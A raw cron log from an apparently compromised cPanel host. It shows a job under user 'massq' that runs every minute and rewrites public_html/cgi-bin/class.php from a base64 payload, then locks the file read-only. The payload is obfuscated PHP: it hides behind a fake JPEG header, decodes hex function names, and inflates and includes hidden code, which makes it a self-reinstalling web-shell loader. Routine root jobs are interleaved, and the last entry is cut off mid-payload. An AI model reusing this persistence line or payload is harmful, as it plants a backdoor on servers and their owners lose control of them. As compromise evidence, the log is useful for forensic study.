Apr  9 03:37:01 server CROND[15782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:38:01 server CROND[15846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:39:01 server CROND[15900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:39:01 server CROND[15901]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 03:40:01 server CROND[16061]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 03:40:01 server CROND[16062]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:40:01 server CROND[16063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:40:01 server CROND[16065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:41:01 server CROND[16178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:42:01 server CROND[16241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:42:01 server CROND[16242]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 03:43:01 server CROND[16293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:44:01 server CROND[16342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:45:01 server CROND[16488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:45:01 server CROND[16489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:45:01 server CROND[16490]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:46:01 server CROND[16596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:47:01 server CROND[16648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:48:01 server CROND[16697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:49:01 server CROND[16766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:50:01 server CROND[16818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 03:50:01 server CROND[16819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:50:01 server CROND[16822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:50:01 server CROND[16823]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 03:50:01 server CROND[16824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0l